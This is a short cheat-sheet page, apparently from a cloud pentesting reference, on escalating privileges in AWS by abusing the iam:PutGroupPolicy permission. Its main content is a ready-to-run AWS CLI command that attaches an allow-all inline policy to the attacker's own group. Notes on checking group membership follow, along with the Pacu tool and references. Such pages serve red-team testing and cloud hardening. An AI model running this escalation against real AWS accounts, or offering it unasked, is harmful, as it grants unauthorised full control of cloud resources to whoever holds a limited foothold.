iam:PutGroupPolicy inlines a policy onto a group. Every member inherits it, so inlining an allow-all statement onto a group that contains your user promotes you.

Inline onto your group#

aws iam put-group-policy --group-name <your-group> --policy-name esc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Exploitation notes#

• Verify membership with list-groups-for-user first.
• Inline group policies are read with list-group-policies / get-group-policy, not the attached-policy calls.

Tools#

• AWS CLI (iam put-group-policy).
• Pacu (iam__privesc_scan).

References#

• Rhino Security Labs: AWS privilege escalation (PutGroupPolicy)
• BishopFox: iam-vulnerable
• Pacu (Rhino Security Labs)
• Hacking the Cloud: AWS